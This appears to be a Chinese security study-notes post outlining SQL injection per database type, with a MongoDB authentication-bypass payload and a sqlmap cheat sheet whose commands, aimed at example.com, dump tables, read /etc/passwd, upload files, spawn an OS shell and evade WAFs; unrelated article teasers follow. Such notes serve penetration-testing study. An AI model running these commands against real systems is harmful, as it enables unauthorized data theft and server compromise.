网络安全之攻防笔记--通用安全漏洞SQL注入sqlmapOraclemongodbDB2

news/2025/2/24 6:19:25
  • 通用安全漏洞SQL注入&sqlmap&Oracle&mongodb&DB2
    • 数据库类型
      • ACCESS
        • 特性
          • 没数据库用户
          • 没数据库权限
          • 没数据库查询参数
          • 没有高权限注入说法
        • 暴力猜解,借助字典得到数据
        • 注入方式
          • 联合注入
          • 偏移注入
        • 表名列名猜解不到
          • 偏移注入
      • MySQL
        • 低权限
          • 常规注入
        • 高权限
          • 常规注入
          • 文件读取
            • load_file
          • 文件写入
            • into outfile
        • 权限原因&判断
          • 代码连接用户决定
          • 查询函数user()
          • 其他
            • database()
            • version()
            • @@version_compile_os
      • MSSQL
        • 低权限
          • 常规注入
        • 高权限
          • 常规注入
          • 文件读取
          • 文件读写
          • 命令执行
          • 注册表读取
        • 权限原因&判断
          • 代码连接用户决定
          • 查询函数-user()
          • 其他
            • db_name() 当前数据库名字
            • @@version 获取版本信息
            • @@SERVERNAME 获取服务器主机信息
      • postgreSQL
        • 低权限
          • 常规注入
        • 高权限
          • 参考:https://www.freebuf.com/sectool/2493721.html
          • 常规注入
          • 文件读取
          • 文件写入
        • 权限原因&判断
          • 代码连接用户决定
          • 查询函数current_user
          • 其他
            • version()
            • current_database()
      • db2
        • 特性:
          • 数据库结构复杂,表名和列名通常需要猜解。
          • 高权限用户可以通过 LOAD 和 CALL 执行系统命令。
        • 注入方式:
          • 联合注入:通过 UNION SELECT 获取数据。
          • 报错注入:通过 XMLQUERY 等函数触发报错。
        • 权限判断:
          • 使用 SELECT user FROM sysibm.sysdummy1 查询当前用户。
          • 使用 SELECT * FROM sysibm.sysversions 查询数据库版本。
      • sybase
        • Sybase 的基本特点
          • 支持标准的 SQL 语法。
          • 支持存储过程、触发器等高级功能。
          • 数据库结构包括数据库、表、视图、存储过程等。
        • 2. Sybase 的权限模型
          • 高权限用户(如 sa)可以执行系统命令、读写文件等操作。
          • 低权限用户只能访问特定的数据库对象。
          • Sybase 的权限分为数据库用户和角色。
      • oracle
        • 特性:
          • 数据库结构复杂,表名和列名通常需要猜解。
          • 高权限用户可以通过 UTL_FILE 读写文件。
        • 注入方式:
          • 联合注入:通过 UNION SELECT 获取数据。
          • 报错注入:通过 ctxsys.drithsx.sn 等函数触发报错。
        • 权限判断:
          • 使用 SELECT user FROM dual 查询当前用户。
          • 使用 SELECT * FROM v$version 查询数据库版本。
      • mangodb
        • 特性:
          • NoSQL 数据库,不支持传统 SQL 注入。
          • 可能存在 NoSQL 注入漏洞,通常通过 JSON 查询注入。
        • 注入方式:
          • 通过修改 JSON 查询条件,绕过身份验证或获取数据。
          • { "username": {"$ne": ""}, "password": {"$ne": ""} }
    • 注入神器
      • SQLMAP
        • 文档介绍 | sqlmap 用户手册
        • 常见参数
          • 1. 指定目标
            • --data:指定 POST 请求的数据。
              • sqlmap -u "http://example.com/login" --data="username=admin&password=123"
            • --cookie:指定 Cookie。
              • sqlmap -u "http://example.com/page?id=1" --cookie="sessionid=12345"
            • -u 或 --url:指定目标 URL。
              • sqlmap -u "http://example.com/page?id=1"
          • 2. 指定注入点
            • --skip:跳过某些参数的测试。
              • sqlmap -u "http://example.com/page?id=1&name=test" --skip="name"
            • -p:指定需要测试的参数。
              • sqlmap -u "http://example.com/page?id=1&name=test" -p "id"
          • 3. 指定数据库类型
            • --dbms:指定目标数据库类型(如 MySQL、Oracle、PostgreSQL 等)。
              • sqlmap -u "http://example.com/page?id=1" --dbms=MySQL
          • 4. 获取数据库信息
            • --current-db:获取当前数据库名称。
              • sqlmap -u "http://example.com/page?id=1" --current-db
            • --tables:枚举指定数据库的表。
              • sqlmap -u "http://example.com/page?id=1" -D database_name --tables
            • --dbs:枚举所有数据库。
              • sqlmap -u "http://example.com/page?id=1" --dbs
            • --columns:枚举指定表的列。
              • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --columns
            • --dump:导出表数据。
              • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
          • 5. 高级功能
            • --risk:设置风险等级(1-3,默认 1),风险越高,测试越激进。
              • sqlmap -u "http://example.com/page?id=1" --risk=2
            • --threads:设置并发线程数。
              • sqlmap -u "http://example.com/page?id=1" --threads=5
            • --batch:自动选择默认选项,无需用户交互。
              • sqlmap -u "http://example.com/page?id=1" --batch
            • --level:设置测试等级(1-5,默认 1),等级越高,测试越全面。
              • sqlmap -u "http://example.com/page?id=1" --level=3
          • 6. 文件加载
            • -l:从日志文件中加载目标。
              • sqlmap -l logfile.txt
            • -r:从文件中加载 HTTP 请求。
              • sqlmap -r request.txt
          • 7. 绕过 WAF/IDS
            • --tamper:使用脚本绕过 WAF(Web 应用防火墙)或 IDS(入侵检测系统)。
              • sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
          • 8. 其他常用参数
            • --sql-shell:获取 SQL 交互式 shell。
              • sqlmap -u "http://example.com/page?id=1" --sql-shell
            • --file-read:读取服务器上的文件。
              • sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
            • --file-write 和 --file-dest:上传文件到服务器。
              • sqlmap -u "http://example.com/page?id=1" --file-write="local_file" --file-dest="/remote/path"
            • --os-shell:尝试获取操作系统的 shell。
              • sqlmap -u "http://example.com/page?id=1" --os-shell
          • 示例 1:检测注入点
            • sqlmap -u "http://example.com/page?id=1"
          • 示例 2:枚举数据库
            • sqlmap -u "http://example.com/page?id=1" --dbs
          • 示例 3:导出表数据
            • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
          • 示例 4:获取操作系统 shell
            • sqlmap -u "http://example.com/page?id=1" --os-shell
          • 示例 5:绕过 WAF
            • sqlmap -u "http://example.com/page?id=1" --tamper=space2comment --level=5 --risk=3

http://www.niftyadmin.cn/n/5864021.html

相关文章

基于Flask的短视频流量数据可视化系统的设计与实现

【Flask】基于Flask的短视频流量数据可视化系统的设计与实现(完整系统源码开发笔记详细部署教程)✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 随着移动互联网的普及和短视频平台的兴起,短视频已成为人们日常生活中不…

第五章:工程化实践 - 第四节 - Tailwind CSS 团队协作规范

在团队开发中使用 Tailwind CSS&#xff0c;需要建立统一的开发规范和工作流程&#xff0c;以确保代码质量和开发效率。本节将详细介绍团队协作中的各项规范和最佳实践。 开发规范 命名规范 // 组件命名规范 const Button: React.FC () > {return (<button className…

每日Attention学习24——Strip Convolution Block

模块出处 [TIP 21] [link] CoANet: Connectivity Attention Network for Road Extraction From Satellite Imagery 模块名称 Strip Convolution Block (SCB) 模块作用 多方向条形特征提取 模块结构 模块特点 类PSP设计&#xff0c;采用四个并行分支提取不同维度的信息相比于…

《论面向对象的建模及应用》审题技巧 - 系统架构设计师

论面向对象的建模及应用写作框架 一、考点概述 本论题“论面向对象的建模及应用”主要考察软件测试工程师对面向对象建模技术的理解和应用能力。具体涵盖以下几个方面&#xff1a; 面向对象建模的基本概念 &#xff1a;这包括理解面向对象编程&#xff08;OOP&#xff09;的基…

分布式服务注册与发现

目录 核心概念 常见实现方式 常见工具与框架 优点 挑战 应用场景 总结 分布式服务注册与发现是微服务架构中的关键组件,用于动态管理服务的注册、发现和调用。它帮助服务在分布式环境中自动找到彼此,确保系统的高可用性和可扩展性。 核心概念 服务注册: 服务启动时向…

SwinTransformer 改进:添加SimAM轻量级注意力机制

目录 1. SimAM轻量级注意力机制 2. SwinTransformer + SimAM 3. 完整代码 Tips:融入模块后的网络经过测试,可以直接使用,设置好输入和输出的图片维度即可 1. SimAM轻量级注意力机制 SimAM(Simple Attention Mechanism)是一种轻量级的注意力机制,旨在通过简单的计算…

2025保险与金融领域实战全解析:DeepSeek赋能细分领域深度指南(附全流程案例)

🚀 2025保险与金融领域实战全解析:DeepSeek赋能细分领域深度指南(附全流程案例)🚀 📚 目录 DeepSeek在保险与金融中的核心价值保险领域:从风险建模到产品创新金融领域:从投资分析到财富管理区块链与联邦学习的应用探索客户关系与私域运营:全球化体验升级工具与资源…

高并发场景下的API接口设计:分布式锁与缓存策略

在高并发场景下&#xff0c;API 接口设计面临着巨大挑战&#xff0c;而分布式锁和缓存策略是应对这些挑战的有效手段。以下将详细介绍它们在高并发 API 接口设计中的应用。 分布式锁 概念 分布式锁是一种用于在分布式系统中控制多个进程或线程对共享资源进行并发访问的机制。在…